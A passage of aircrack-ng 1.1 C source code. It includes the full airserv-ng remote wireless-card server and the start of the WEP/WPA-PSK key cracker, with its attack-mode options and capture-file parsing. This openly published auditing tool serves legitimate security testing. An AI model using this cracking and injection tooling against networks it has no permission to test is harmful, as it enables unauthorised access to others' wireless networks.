= (uint *) buffer; *u++ ^= *w++; *v++ ^= *w++; *u3++ ^= *w++; *v4++ ^= *w++; *u++ ^= *w++; *v++ ^= *w++; *u3++ ^= *w++; *v4++ ^= *w++; *u++ ^= *w++; *v++ ^= *w++; *u3++ ^= *w++; *v4++ ^= *w++; } memcpy(_pmk3, pmk3, 32); memcpy(_pmk4, pmk4, 32); memcpy(_pmk1, pmk1, 32); memcpy(_pmk2, pmk2, 32); /*printf("\n"); show_result(_key1, _pmk1); show_result(_key2, _pmk2); show_result(_key3, _pmk3); show_result(_key4, _pmk4); fflush(stdout);*/ } #else void calc_4pmk(char* _key1, char* _key2, char* _key3, char* _key4, char* _essid, uchar* _pmk1, uchar* _pmk2, uchar* _pmk3, uchar* _pmk4) { calc_pmk(_key1, _essid, _pmk1); calc_pmk(_key2, _essid, _pmk2); calc_pmk(_key3, _essid, _pmk3); calc_pmk(_key4, _essid, _pmk4); } #endif aircrack-ng-1.1/src/airserv-ng.c0000644000000000000000000002546511355271630015261 0ustar rootroot /* * Server for osdep network driver. Uses osdep itself! [ph33r teh recursion] * * Copyright (c) 2007, 2008, 2009 Andrea Bittau * * Advanced WEP attacks developed by KoreK * WPA-PSK attack code developed by Joshua Wright * SHA1 MMX assembly code written by Simon Marechal * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include "osdep/osdep.h" #include "osdep/network.h" #include "version.h" extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); void sighandler( int signum ) { if( signum == SIGPIPE ) printf("broken pipe!\n"); } struct client { int c_s; char c_ip[16]; struct client *c_next; struct client *c_prev; }; static struct sstate { int ss_s; struct wif *ss_wi; struct client ss_clients; int ss_level; } _ss; static struct sstate *get_ss() { return &_ss; } static void usage(char *p) { if (p) {} printf("\n" " %s - (C) 2007, 2008, 2009 Andrea Bittau\n" " http://www.aircrack-ng.org\n" "\n" " Usage: airserv-ng \n" "\n" " Options:\n" "\n" " -h : This help screen\n" " -p : TCP port to listen on (default:666)\n" " -d : Wifi interface to use\n" " -c : Channel to use\n" " -v : Debug level (1 to 3; default: 1)\n" "\n", getVersion("Airserv-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)); exit(1); } static void debug(struct sstate *ss, struct client *c, int l, char *fmt, ...) { va_list ap; if (ss->ss_level < l) return; printf("[%s] ", c->c_ip); va_start(ap, fmt); vprintf(fmt, ap); va_end(ap); } #if 0 static void print_clients(struct sstate *ss) { struct client *c = ss->ss_clients.c_next; int i = 1; while (c != &ss->ss_clients) { printf("Client %d fd %d\n", i++, c->c_s); c = c->c_next; } } #endif static void client_add(struct sstate *ss, int s, struct sockaddr_in *s_in) { struct client *c; if (!(c = calloc(sizeof(struct client), 1))) err(1, "calloc()"); c->c_s = s; strncpy(c->c_ip, inet_ntoa(s_in->sin_addr), sizeof(c->c_ip)-1); printf("Connect from %s\n", c->c_ip); c->c_prev = &ss->ss_clients; c->c_next = ss->ss_clients.c_next; c->c_next->c_prev = c; ss->ss_clients.c_next = c; } static void client_kill(struct client *c) { c->c_prev->c_next = c->c_next; c->c_next->c_prev = c->c_prev; printf("Death from %s\n", c->c_ip); free(c); } static void card_open(struct sstate *ss, char *dev) { struct wif *wi = wi_open(dev); if (!wi) err(1, "wi_open()"); ss->ss_wi = wi; } static int card_set_chan(struct sstate *ss, int chan) { return wi_set_channel(ss->ss_wi, chan); } static int card_get_chan(struct sstate *ss) { return wi_get_channel(ss->ss_wi); } static int card_set_rate(struct sstate *ss, int rate) { return wi_set_rate(ss->ss_wi, rate); } static int card_get_rate(struct sstate *ss) { return wi_get_rate(ss->ss_wi); } static int card_get_monitor(struct sstate *ss) { return wi_get_monitor(ss->ss_wi); } static int card_read(struct sstate *ss, void *buf, int len, struct rx_info *ri) { int rc; if ((rc = wi_read(ss->ss_wi, buf, len, ri)) == -1) err(1, "wi_read()"); return rc; } static int card_write(struct sstate *ss, void *buf, int len, struct tx_info *ti) { return wi_write(ss->ss_wi, buf, len, ti); } static int card_get_mac(struct sstate *ss, unsigned char *mac) { return wi_get_mac(ss->ss_wi, mac); } static void open_sock(struct sstate *ss, int port) { int s; struct sockaddr_in s_in; int one = 1; s_in.sin_family = PF_INET; s_in.sin_port = htons(port); s_in.sin_addr.s_addr = INADDR_ANY; if ((s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) err(1, "socket()"); if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) == -1) err(1, "setsockopt()"); if (bind(s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) err(1, "bind()"); if (listen(s, 5) == -1) err(1, "listen()"); ss->ss_s = s; } static void open_card_and_sock(struct sstate *ss, char *dev, int port, int chan) { printf("Opening card %s\n", dev); card_open(ss, dev); printf("Setting chan %d\n", chan); if (card_set_chan(ss, chan) == -1) err(1, "card_set_chan()"); printf("Opening sock port %d\n", port); open_sock(ss, port); printf("Serving %s chan %d on port %d\n", dev, chan, port); } static void net_send_kill(struct client *c, int cmd, void *data, int len) { if (net_send(c->c_s, cmd, data, len) == -1) client_kill(c); } static void handle_set_chan(struct sstate *ss, struct client *c, unsigned char *buf, int len) { uint32_t chan; uint32_t rc; if (len != sizeof(chan)) { client_kill(c); return; } chan = *((uint32_t*)buf); chan = ntohl(chan); debug(ss, c, 2, "Got setchan %d\n", chan); rc = card_set_chan(ss, chan); rc = htonl(rc); net_send_kill(c, NET_RC, &rc, sizeof(rc)); } static void handle_set_rate(struct sstate *ss, struct client *c, unsigned char *buf, int len) { uint32_t rate; uint32_t rc; if (len != sizeof(rate)) { client_kill(c); return; } rate = *((uint32_t*)buf); rate = ntohl(rate); debug(ss, c, 2, "Got setrate %d\n", rate); rc = card_set_rate(ss, rate); rc = htonl(rc); net_send_kill(c, NET_RC, &rc, sizeof(rc)); } static void handle_get_mac(struct sstate *ss, struct client *c) { unsigned char mac[6]; int rc; rc = card_get_mac(ss, mac); if (rc == -1) { uint32_t x = htonl(rc); net_send_kill(c, NET_RC, &x, sizeof(x)); } else net_send_kill(c, NET_MAC, mac, 6); } static void handle_get_chan(struct sstate *ss, struct client *c) { int rc = card_get_chan(ss); uint32_t chan; chan = htonl(rc); net_send_kill(c, NET_RC, &chan, sizeof(chan)); } static void handle_get_rate(struct sstate *ss, struct client *c) { int rc = card_get_rate(ss); uint32_t rate; rate = htonl(rc); net_send_kill(c, NET_RC, &rate, sizeof(rate)); } static void handle_get_monitor(struct sstate *ss, struct client *c) { int rc = card_get_monitor(ss); uint32_t x; x = htonl(rc); net_send_kill(c, NET_RC, &x, sizeof(x)); } static void handle_write(struct sstate *ss, struct client *c, void *buf, int len) { struct tx_info *ti = buf; void *hdr = (ti+1); int rc; uint32_t x; len -= sizeof(*ti); debug(ss, c, 2, "Relaying %d bytes packet from client\n", len); rc = card_write(ss, hdr, len, ti); x = htonl(rc); net_send_kill(c, NET_RC, &x, sizeof(x)); } static void handle_client(struct sstate *ss, struct client *c) { unsigned char buf[2048]; int len = sizeof(buf); int cmd; cmd = net_get(c->c_s, buf, &len); if (cmd == -1) { debug(ss, c, 2, "handle_client: net_get()\n"); client_kill(c); return; } /* figure out command */ switch (cmd) { case NET_SET_CHAN: handle_set_chan(ss, c, buf, len); break; case NET_SET_RATE: handle_set_rate(ss, c, buf, len); break; case NET_GET_MAC: handle_get_mac(ss, c); break; case NET_GET_CHAN: handle_get_chan(ss, c); break; case NET_GET_RATE: handle_get_rate(ss, c); break; case NET_GET_MONITOR: handle_get_monitor(ss, c); break; case NET_WRITE: handle_write(ss, c, buf, len); break; default: printf("Unknown request %d\n", cmd); client_kill(c); break; } } static void handle_server(struct sstate *ss) { int dude; struct sockaddr_in s_in; socklen_t len; len = sizeof(s_in); if ((dude = accept(ss->ss_s, (struct sockaddr*) &s_in, &len)) == -1) err(1, "accept()"); client_add(ss, dude, &s_in); } static void client_send_packet(struct sstate *ss, struct client *c, unsigned char *buf, int rd) { /* XXX check if TX will block */ if (rd == -1) { uint32_t rc = htonl(rd); debug(ss, c, 3, "Sending result code %d to client\n", rd); net_send_kill(c, NET_RC, &rc, sizeof(rc)); } else { debug(ss, c, 3, "Sending %d bytes packet to client\n", rd); net_send_kill(c, NET_PACKET, buf, rd); } } static void handle_card(struct sstate *ss) { unsigned char buf[2048]; int rd; struct rx_info *ri = (struct rx_info*) buf; struct client *c; rd = card_read(ss, ri + 1, sizeof(buf) - sizeof(*ri), ri); if (rd >= 0) rd += sizeof(*ri); ri->ri_mactime = __cpu_to_be64(ri->ri_mactime); ri->ri_power = __cpu_to_be32(ri->ri_power); ri->ri_noise = __cpu_to_be32(ri->ri_noise); ri->ri_channel = __cpu_to_be32(ri->ri_channel); ri->ri_rate = __cpu_to_be32(ri->ri_rate); ri->ri_antenna = __cpu_to_be32(ri->ri_antenna); c = ss->ss_clients.c_next; while (c != &ss->ss_clients) { client_send_packet(ss, c, buf, rd); c = c->c_next; } } static void serv(struct sstate *ss, char *dev, int port, int chan) { int max; fd_set fds; struct client *c; int card_fd; open_card_and_sock(ss, dev, port, chan); card_fd = wi_fd(ss->ss_wi); while (1) { /* server */ max = ss->ss_s; FD_ZERO(&fds); FD_SET(max, &fds); /* clients */ c = ss->ss_clients.c_next; while (c != &ss->ss_clients) { FD_SET(c->c_s, &fds); if (c->c_s > max) max = c->c_s; c = c->c_next; } /* card */ FD_SET(card_fd, &fds); if (card_fd > max) max = card_fd; if (select(max+1, &fds, NULL, NULL, NULL) == -1) err(1, "select()"); /* handle clients */ c = ss->ss_clients.c_next; while (c != &ss->ss_clients) { if (FD_ISSET(c->c_s, &fds)) handle_client(ss, c); c = c->c_next; } /* handle server */ if (FD_ISSET(ss->ss_s, &fds)) handle_server(ss); if (FD_ISSET(card_fd, &fds)) handle_card(ss); } } int main(int argc, char *argv[]) { char *device = NULL; int port = 666; int ch; int chan = 1; struct sstate *ss = get_ss(); memset(ss, 0, sizeof(*ss)); ss->ss_clients.c_next = ss->ss_clients.c_prev = &ss->ss_clients; while ((ch = getopt(argc, argv, "p:d:hc:v:")) != -1) { switch (ch) { case 'p': port = atoi(optarg); break; case 'd': device = optarg; break; case 'v': ss->ss_level = atoi(optarg); break; case 'c': chan = atoi(optarg); break; case 'h': default: usage(argv[0]); break; } } signal(SIGPIPE, sighandler); if (!device || chan <= 0) usage(argv[0]); serv(ss, device, port, chan); exit(0); } aircrack-ng-1.1/src/aircrack-ng.c0000644000000000000000000036025011357637246015372 0ustar rootroot/* * 802.11 WEP / WPA-PSK Key Cracker * * Copyright (C) 2006, 2007, 2008, 2009 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * Advanced WEP attacks developed by KoreK * WPA-PSK attack code developed by Joshua Wright * SHA1 MMX assembly code written by Simon Marechal * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "version.h" #include "crypto.h" #include "pcap.h" #include "uniqueiv.h" #include "aircrack-ng.h" #include "sha1-sse2.h" #include "osdep/byteorder.h" #include "common.h" #ifdef HAVE_SQLITE #include sqlite3 *db; #endif extern int get_nb_cpus(); static uchar ZERO[32] = "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00"; /* stats global data */ struct timeval t_begin; /* time at start of attack */ struct timeval t_stats; /* time since last update */ struct timeval t_kprev; /* time at start of window */ long long int nb_kprev; /* last # of keys tried */ long long int nb_tried; /* total # of keys tried */ /* IPC global data */ struct AP_info *ap_1st; /* first item in linked list */ pthread_mutex_t mx_apl; /* lock write access to ap LL */ pthread_mutex_t mx_eof; /* lock write access to nb_eof */ pthread_mutex_t mx_ivb; /* lock access to ivbuf array */ pthread_cond_t cv_eof; /* read EOF condition variable */ int nb_eof = 0; /* # of threads who reached eof */ long nb_pkt = 0; /* # of packets read so far */ int mc_pipe[256][2]; /* master->child control pipe */ int cm_pipe[256][2]; /* child->master results pipe */ int bf_pipe[256][2]; /* bruteforcer 'queue' pipe */ int bf_nkeys[256]; uchar bf_wepkey[64]; int wepkey_crack_success = 0; int close_aircrack = 0; int id=0; pthread_t tid[MAX_THREADS]; struct WPA_data wpa_data[MAX_THREADS]; int wpa_wordlists_done = 0; static pthread_mutex_t mx_nb = PTHREAD_MUTEX_INITIALIZER; static pthread_mutex_t mx_wpastats = PTHREAD_MUTEX_INITIALIZER; #define GOT_IV 0x00000001 #define USE_IV 0x00000002 #define K01_IV 0x00000010 #define K02_IV 0x00000020 #define K03_IV 0x00000040 #define K04_IV 0x00000080 #define K05_IV 0x00000100 #define K06_IV 0x00000200 #define K07_IV 0x00000400 #define K08_IV 0x00000800 #define K09_IV 0x00001000 #define K10_IV 0x00002000 #define K11_IV 0x00004000 #define K12_IV 0x00008000 #define K13_IV 0x00010000 #define K14_IV 0x00020000 #define K15_IV 0x00040000 #define K16_IV 0x00080000 #define K17_IV 0x00100000 typedef struct { int off1; int off2; void *buf1; void *buf2; } read_buf; int K_COEFF[N_ATTACKS] = { 15, 13, 12, 12, 12, 5, 5, 5, 3, 4, 3, 4, 3, 13, 4, 4, -20 }; int PTW_DEFAULTWEIGHT[1] = { 256 }; int PTW_DEFAULTBF[PTW_KEYHSBYTES] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; const uchar R[256] = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20 , 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40 , 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60 , 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80 , 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100 , 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116 , 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132 , 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148 , 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164 , 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180 , 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196 , 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212 , 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228 , 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244 , 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255 }; char usage[] = "\n" " %s - (C) 2006, 2007, 2008, 2009 Thomas d\'Otreppe\n" " Original work: Christophe Devine\n" " http://www.aircrack-ng.org\n" "\n" " usage: aircrack-ng [options] <.cap / .ivs file(s)>\n" "\n" " Common options:\n" "\n" " -a : force attack mode (1/WEP, 2/WPA-PSK)\n" " -e : target selection: network identifier\n" " -b : target selection: access point's MAC\n" " -p : # of CPU to use (default: all CPUs)\n" " -q : enable quiet mode (no status output)\n" " -C : merge the given APs to a virtual one\n" " -l : write key to file\n" "\n" " Static WEP cracking options:\n" "\n" " -c : search alpha-numeric characters only\n" " -t : search binary coded decimal chr only\n" " -h : search the numeric key for Fritz!BOX\n" " -d : use masking of the key (A1:XX:CF:YY)\n" " -m : MAC address to filter usable packets\n" " -n : WEP key length : 64/128/152/256/512\n" " -i : WEP key index (1 to 4), default: any\n" " -f : bruteforce fudge factor, default: 2\n" " -k : disable one attack method (1 to 17)\n" " -x or -x0 : disable bruteforce for last keybytes\n" " -x1 : last keybyte bruteforcing (default)\n" " -x2 : enable last 2 keybytes bruteforcing" "%s" " -y : experimental single bruteforce mode\n" " -K : use only old KoreK attacks (pre-PTW)\n" " -s : show the key in ASCII while cracking\n" " -M : specify maximum number of IVs to use\n" " -D : WEP decloak, skips broken keystreams\n" " -P : PTW debug: 1: disable Klein, 2: PTW\n" " -1 : run only 1 try to crack key with PTW\n" "\n" " WEP and WPA-PSK cracking options:\n" "\n" " -w : path to wordlist(s) filename(s)\n" #ifdef HAVE_SQLITE " -r : path to airolib-ng database\n" " (Cannot be used with -w)\n" #endif "\n" " --help : Displays this usage screen\n" "\n"; char * progname; int intr_read = 0; int safe_write( int fd, void *buf, size_t len ); void clean_exit(int ret) { struct AP_info *ap_cur; struct AP_info *ap_prv; struct AP_info *ap_next; int i=0; // int j=0, k=0, attack=0; int child_pid; char tmpbuf[128]; memset(tmpbuf, 0, 128); if(ret && !opt.is_quiet) { printf("\nQuitting aircrack-ng...\n"); fflush(stdout); } close_aircrack = 1; for( i = 0; i < opt.nbcpu; i++ ) { #ifdef CYGWIN close( mc_pipe[i][1] ); close( bf_pipe[i][1] ); #else safe_write( mc_pipe[i][1], (void *) "EXIT\r", 5 ); safe_write( bf_pipe[i][1], (void *) tmpbuf, 64 ); #endif } if( opt.amode != 2 ) { for(i=0; iivbuf != NULL ) { free(ap_cur->ivbuf); ap_cur->ivbuf = NULL; } uniqueiv_wipe( ap_cur->uiv_root ); if( ap_cur->ptw_clean != NULL ) { if( ap_cur->ptw_clean->allsessions != NULL ) { free(ap_cur->ptw_clean->allsessions); ap_cur->ptw_clean->allsessions=NULL; } free(ap_cur->ptw_clean); ap_cur->ptw_clean = NULL; } if( ap_cur->ptw_vague != NULL ) { if( ap_cur->ptw_vague->allsessions != NULL ) { free(ap_cur->ptw_vague->allsessions); ap_cur->ptw_vague->allsessions = NULL; } free(ap_cur->ptw_vague); ap_cur->ptw_vague = NULL; } ap_prv = ap_cur; ap_cur = ap_cur->next; } ap_cur = ap_1st; while( ap_cur != NULL ) { ap_next = ap_cur->next; if( ap_cur != NULL ) free(ap_cur); ap_cur = ap_next; } // attack = A_s5_1; // printf("Please wait for evaluation...\n"); // for(i=0; i<(256*256*256); i++) // { // if((all_ivs[i].used & GOT_IV) && !(all_ivs[i].used & USE_IV)) // j++; // // if((all_ivs[i].used & GOT_IV) && (all_ivs[i].used & (1<<(attack+4)) ) ) // { // printf("IV %02X:%02X:%02X used for %d\n", (i/(256*256)), ((i&0xFFFF)/(256)), (i&0xFF), attack); // k++; // } // } // // printf("%d unused IVs\n", j); // printf("%d used IVs for %d\n", k, attack); child_pid=fork(); if(child_pid==-1) { /* do error stuff here */ } if(child_pid!=0) { /* The parent process exits here. */ exit(0); } _exit(ret); } void sighandler( int signum ) { #if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP)) _PGOPTI_Prof_Dump(); #endif signal( signum, sighandler ); if( signum == SIGQUIT ) clean_exit( SUCCESS ); // _exit( SUCCESS ); if( signum == SIGTERM ) clean_exit( FAILURE ); // _exit( FAILURE ); if( signum == SIGINT ) { #if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP)) clean_exit( FAILURE ); // _exit( FAILURE ); #else /* if(intr_read > 0)*/ clean_exit( FAILURE ); /* else intr_read++;*/ #endif } if( signum == SIGWINCH ) printf( "\33[2J\n" ); } void eof_wait( int *eof_notified ) { if( *eof_notified == 0 ) { *eof_notified = 1; /* tell the master thread we reached EOF */ pthread_mutex_lock( &mx_eof ); nb_eof++; pthread_cond_broadcast( &cv_eof ); pthread_mutex_unlock( &mx_eof ); } usleep( 100000 ); } inline int wpa_send_passphrase(char *key, struct WPA_data* data, int lock) { pthread_mutex_lock(&data->mutex); if ((data->back+1) % data->nkeys == data->front) { if (lock != 0) { // wait until there's room in the queue pthread_cond_wait(&data->cond, &data->mutex); } else { pthread_mutex_unlock(&data->mutex); return 0; // full queue! } } // put one key in the buffer: memcpy(data->key_buffer + data->back*128, key, 128); data->back = (data->back+1) % data->nkeys; pthread_mutex_unlock(&data->mutex); return 1; } inline int wpa_receive_passphrase(char *key, struct WPA_data* data) { pthread_mutex_lock(&data->mutex); if (data->front==data->back) { pthread_mutex_unlock(&data->mutex); return 0; // empty queue! } // get one key from the buffer: memcpy(key, data->key_buffer + data->front*128, 128); data->front = (data->front+1) % data->nkeys; // signal that there's now room in the queue for more keys pthread_cond_signal(&data->cond); pthread_mutex_unlock(&data->mutex); return 1; } int checkbssids(char *bssidlist) { int first = 1; int i = 0; char *list, *tmp; int nbBSSID = 0; if(bssidlist == NULL) return -1; #define IS_X(x) ((x) == 'X' || (x) == 'x') #define VALID_CHAR(x) ((IS_X(x)) || hexCharToInt(x) > -1) #define VALID_SEP(arg) ( ((arg) == '_') || ((arg) == '-') || ((arg) == ':') ) list = strdup(bssidlist); do { tmp = strsep(&list, ","); if (tmp == NULL) break; ++nbBSSID; if(strlen(tmp) != 17) return -1; //first byte if(!VALID_CHAR(tmp[ 0])) return -1; if(!VALID_CHAR(tmp[ 1])) return -1; if(!VALID_SEP( tmp[ 2])) return -1; //second byte if(!VALID_CHAR(tmp[ 3])) return -1; if(!VALID_CHAR(tmp[ 4])) return -1; if(!VALID_SEP( tmp[ 5])) return -1; //third byte if(!VALID_CHAR(tmp[ 6])) return -1; if(!VALID_CHAR(tmp[ 7])) return -1; if(!VALID_SEP( tmp[ 8])) return -1; //fourth byte if(!VALID_CHAR(tmp[ 9])) return -1; if(!VALID_CHAR(tmp[10])) return -1; if(!VALID_SEP( tmp[11])) return -1; //fifth byte if(!VALID_CHAR(tmp[12])) return -1; if(!VALID_CHAR(tmp[13])) return -1; if(!VALID_SEP( tmp[14])) return -1; //sixth byte if(!VALID_CHAR(tmp[15])) return -1; if(!VALID_CHAR(tmp[16])) return -1; if(first) { for(i=0; i< 17; i++) if( IS_X(tmp[i])) return -1; opt.firstbssid = (unsigned char *) malloc(sizeof(unsigned char)); getmac(tmp, 1, opt.firstbssid); first = 0; } } while(list); // Success return nbBSSID; } int mergebssids(char * bssidlist, unsigned char * bssid) { struct mergeBSSID * list_prev; struct mergeBSSID * list_cur; char * mac = NULL; char * list = NULL; char * tmp = NULL; char * tmp2 = NULL; int next, i, found; // Do not convert if equal to first bssid if (memcmp(opt.firstbssid, bssid, 6) == 0) return 1; list_prev = NULL; list_cur = opt.bssid_list_1st; while (list_cur != NULL) { if (memcmp(list_cur->bssid, bssid, 6) == 0) { if (list_cur->convert) memcpy(bssid, opt.firstbssid, 6); return list_cur->convert; } list_prev = list_cur; list_cur = list_cur->next; } // Not found, check if it has to be converted mac = (char *) malloc(18); if (!mac) { perror( "malloc failed" ); return -1; } snprintf(mac, 18, "%02X:%02X:%02X:%02X:%02X:%02X", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]); mac[17] = 0; tmp2 = list = strdup(bssidlist); // skip first element (because it doesn't have to be converted // It already has the good value tmp = strsep(&list, ","); next = found = 0; do { next=0; tmp = strsep(&list, ","); if (tmp == NULL) break; // Length already checked, no need to check it again for( i = 0; i < 17; ++i) { if((IS_X(tmp[i]) || VALID_SEP(tmp[i]))) continue; if(toupper((int)tmp[i]) != (int)mac[i]) { // Not found next = 1; break; } } if(next == 0) { found = 1; break; } } while (list); // Free memory if(mac != NULL) free(mac); if(tmp2 != NULL) free(tmp2); // Add the result to the list list_cur = (struct mergeBSSID *) malloc(sizeof(struct mergeBSSID)); if (!list_cur) { perror( "malloc failed" ); return -1; } list_cur->convert = found; list_cur->next = NULL; memcpy(list_cur->bssid, bssid, 6); if (opt.bssid_list_1st == NULL) opt.bssid_list_1st = list_cur; else list_prev->next = list_cur; // Do not forget to convert if it was successful if (list_cur->convert) memcpy(bssid, opt.firstbssid, 6); #undef VALID_CHAR #undef VALID_SEP #undef IS_X return list_cur->convert; } /* fread isn't atomic, sadly */ int atomic_read( read_buf *rb, int fd, int len, void *buf ) { int n; if( close_aircrack ) return( CLOSE_IT ); if( rb->buf1 == NULL ) { rb->buf1 = malloc( 65536 ); rb->buf2 = malloc( 65536 ); if( rb->buf1 == NULL || rb->buf2 == NULL ) return( 0 ); rb->off1 = 0; rb->off2 = 0; } if( len > 65536 - rb->off1 ) { rb->off2 -= rb->off1; memcpy( rb->buf2, rb->buf1 + rb->off1, rb->off2 ); memcpy( rb->buf1, rb->buf2, rb->off2 ); rb->off1 = 0; } if( rb->off2 - rb->off1 >= len ) { memcpy( buf, rb->buf1 + rb->off1, len ); rb->off1 += len; return( 1 ); } else { n = read( fd, rb->buf1 + rb->off2, 65536 - rb->off2 ); if( n <= 0 ) return( 0 ); rb->off2 += n; if( rb->off2 - rb->off1 >= len ) { memcpy( buf, rb->buf1 + rb->off1, len ); rb->off1 += len; return( 1 ); } } return( 0 ); } void read_thread( void *arg ) { int fd, n, z, fmt; int eof_notified = 0; read_buf rb; // int ret=0; uchar bssid[6]; uchar dest[6]; uchar stmac[6]; uchar *buffer; uchar *h80211; uchar *p; int weight[16]; struct ivs2_pkthdr ivs2; struct ivs2_filehdr fivs2; struct pcap_pkthdr pkh; struct pcap_file_header pfh; struct AP_info *ap_prv, *ap_cur; struct ST_info *st_prv, *st_cur; signal( SIGINT, sighandler); memset( &rb, 0, sizeof( rb ) ); ap_cur = NULL; memset(&pfh, 0, sizeof(struct pcap_file_header)); if( ( buffer = (uchar *) malloc( 65536 ) ) == NULL ) { /* there is no buffer */ perror( "malloc failed" ); goto read_fail; } h80211 = buffer; if( ! opt.is_quiet ) printf( "Opening %s\n", (char *) arg ); if( strcmp( arg, "-" ) == 0 ) fd = 0; else { if( ( fd = open( (char *) arg, O_RDONLY | O_BINARY ) ) < 0 ) { perror( "open failed" ); goto read_fail; } } if( ! atomic_read( &rb, fd, 4, &pfh ) ) { perror( "read(file header) failed" ); goto read_fail; } fmt = FORMAT_IVS; if( memcmp( &pfh, IVSONLY_MAGIC, 4 ) != 0 && memcmp( &pfh, IVS2_MAGIC, 4 ) != 0) { fmt = FORMAT_CAP; if( pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "Unsupported file format " "(not a pcap or IVs file).\n" ); goto read_fail; } /* read the rest of the pcap file header */ if( ! atomic_read( &rb, fd, 20, (uchar *) &pfh + 4 ) ) { perror( "read(file header) failed" ); goto read_fail; } /* take care of endian issues and check the link type */ if( pfh.magic == TCPDUMP_CIGAM ) SWAP32( pfh.linktype ); if( pfh.linktype != LINKTYPE_IEEE802_11 && pfh.linktype != LINKTYPE_PRISM_HEADER && pfh.linktype != LINKTYPE_RADIOTAP_HDR && pfh.linktype != LINKTYPE_PPI_HDR) { fprintf( stderr, "This file is not a regular " "802.11 (wireless) capture.\n" ); goto read_fail; } } else { if( opt.wep_decloak ) { errx(1, "Can't use decloak wep mode with ivs\n"); /* XXX */ } if (memcmp( &pfh, IVS2_MAGIC, 4 ) == 0) { fmt = FORMAT_IVS2; if( ! atomic_read( &rb, fd, sizeof(struct ivs2_filehdr), (uchar *) &fivs2 ) ) { perror( "read(file header) failed" ); goto read_fail; } if(fivs2.version > IVS2_VERSION) { printf( "Error, wrong %s version: %d. Supported up to version %d.\n", IVS2_EXTENSION, fivs2.version, IVS2_VERSION ); goto read_fail; } } else if (opt.do_ptw) errx(1, "Can't do PTW with old IVS files, recapture without --ivs or use airodump-ng >= 1.0\n"); /* XXX */ } /* avoid blocking on reading the file */ if( fcntl( fd, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); goto read_fail; } while( 1 ) { if( close_aircrack ) break; if( fmt == FORMAT_IVS ) { /* read one IV */ while( ! atomic_read( &rb, fd, 1, buffer ) ) eof_wait( &eof_notified ); if( close_aircrack ) break; if( buffer[0] != 0xFF ) { /* new access point MAC */ bssid[0] = buffer[0]; while( ! atomic_read( &rb, fd, 5, bssid + 1 ) ) eof_wait( &eof_notified ); if( close_aircrack ) break; } while( ! atomic_read( &rb, fd, 5, buffer ) ) eof_wait( &eof_notified ); if( close_aircrack ) break; } else if( fmt == FORMAT_IVS2 ) { while( ! atomic_read( &rb, fd, sizeof( struct ivs2_pkthdr ), &ivs2 ) ) eof_wait( &eof_notified ); if( close_aircrack 